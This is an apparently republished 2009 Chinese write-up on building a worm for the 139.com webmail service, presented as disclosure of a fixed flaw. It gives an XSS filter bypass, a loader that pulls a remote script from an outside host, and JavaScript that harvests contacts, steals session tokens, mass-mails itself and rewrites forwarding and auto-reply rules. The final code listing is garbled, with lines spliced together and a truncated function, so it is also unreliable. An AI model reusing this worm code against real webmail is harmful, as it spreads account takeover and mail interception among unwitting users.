139郵箱蠕蟲(chóng)編寫實(shí)例
139郵箱蠕蟲(chóng)編寫實(shí)例
Author:[sh0wrun],[woyigui]
Date:2009-09-09
聲明:該漏洞已報(bào)告并已修復(fù),切勿用于非法目的。
原理分析:
我們經(jīng)常會(huì)用到的mail.139.com,由于對(duì)郵件正文過(guò)濾不嚴(yán),導(dǎo)致存在xss漏洞。他們盡管實(shí)現(xiàn)了對(duì)style="xss:expression"進(jìn)行過(guò)濾,但是可以通過(guò)添加/* */繞過(guò),如:。在添加/* */后,該腳本能夠在IE瀏覽器執(zhí)行。
同時(shí),經(jīng)過(guò)分析發(fā)現(xiàn),mail.139.com中發(fā)送郵件的功能存在CSRF弱點(diǎn);可以通過(guò)Ajax技術(shù)獲取發(fā)送郵件所需要的mid值。另外郵箱的“通信錄“中的聯(lián)系人郵件可以直接通過(guò)javascript取出。
滿足了編寫csrf worm的3個(gè)條件,接下來(lái)的工作,就是通過(guò)編寫javascript代碼來(lái)實(shí)現(xiàn)了。
跨站代碼:
該部分要實(shí)現(xiàn)的功能就是,觸發(fā)瀏覽器去讀取遠(yuǎn)端的js腳本,并且執(zhí)行該腳本:
Original:
var ig =document.createElement("script");ig.src="http://192.168.9.104/woyigui/139.js";try {document.getElementsByTagName("body")[0].appendChild(ig);} catch (e) {document.documentElement.appendChild(document.createElement("body"));document.getElementsByTagName("body")[0].appendChild(ig);}
對(duì)該部分編碼按照10進(jìn)制進(jìn)行編碼,以避免關(guān)鍵字被替換,并調(diào)用:
該部分代碼,需放置在郵件正文中傳送。
腳本功能的實(shí)現(xiàn):
主要實(shí)現(xiàn)了如下功能:
1.通過(guò)腳本,讀取聯(lián)系人的郵箱地址。
該部分信息,可以通過(guò)top.LinkManList.concat()獲取。
2.通過(guò)腳本,獲取sid值
該部分信息,可以通過(guò)window.top.location.href,配合正則表達(dá)式獲取到。
3.獲取發(fā)送郵件所需要的mid值
在獲取到sid值后,通過(guò)script打開(kāi)"寫郵件"頁(yè)面,讀取mid值。
4.發(fā)送郵件
發(fā)送郵件功能只驗(yàn)證mid值,因此在獲取到正確的mid值后,連同獲取到的聯(lián)系人一起,構(gòu)造post數(shù)據(jù),發(fā)送郵件。
5.改寫郵件轉(zhuǎn)發(fā)規(guī)則和自動(dòng)回復(fù)規(guī)則
在有正確的sid后,構(gòu)造post。
完整代碼:
var xssed = false; if (typeof XSSflag != "undefined"){ xssed = true; } var XSSflag = [ {name: "version", url: "1.0"}, ]; if ( xssed != true ) { var xmlhttp; //create XHR function createXMLHttp(){ try { xmlhttp = new XMLHttpRequest(); } catch (e) { var XMLHTTP_IDS = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP' ); var success = false; for (var i=0;i < XMLHTTP_IDS.length && !success; i++) { try { xmlhttp = new ActiveXObject(XMLHTTP_IDS[i]); success = true; } catch (e) {} } if (!success) { throw new Error('Unable to create XMLHttpRequest.'); } } } function domid (dourl) { createXMLHttp(); var tmp = ""; xmlhttp.open("GET", dourl, false); xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;"); xmlhttp.setRequestHeader("Connection", "close"); xmlhttp.send(null); setTimeout( tmp = xmlhttp.responseText,500); return tmp; } function startRequest(doUrl, tomail, subject, Content, account, mid, sid ){ createXMLHttp(); var params = "funcid=compose&sid="+ sid +"&mid="+ mid +"&hidRemoteIp=&ishtml=y&optype= send.x&idOpType=&text="+ Content +"&destcgi= &funcid=compose&netfdrhost=&to="+ tomail +"&cc=&bcc=&subject="+ subject +"&year= &month=&day=&hour=undefined&compinfo_minute=&chkHtmlMessage_text=y&chkHtmlMessage=y&ifsavetosent= xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded;"); y&account="+ account +"&destcgi=&netfdrhost=&split_rcpt=n&return_receipt=0&priority=0";xmlhttp.open("POST", doUrl, false); xmlhttp.setRequestHeader("Content-length", params.length); xmlhttp.setRequestHeader("Connection", "close"); xmlhttp.send(params); } function doMyAjax() { var strPer = '/coremail/cgi/attachfapps'; var tomail = ' encodeURIComponent(Content), encodeURIComponent(account), mid, sid ); } catch (e) { alert("send data error!"); } } doMyAjax(); } |
【編輯推薦】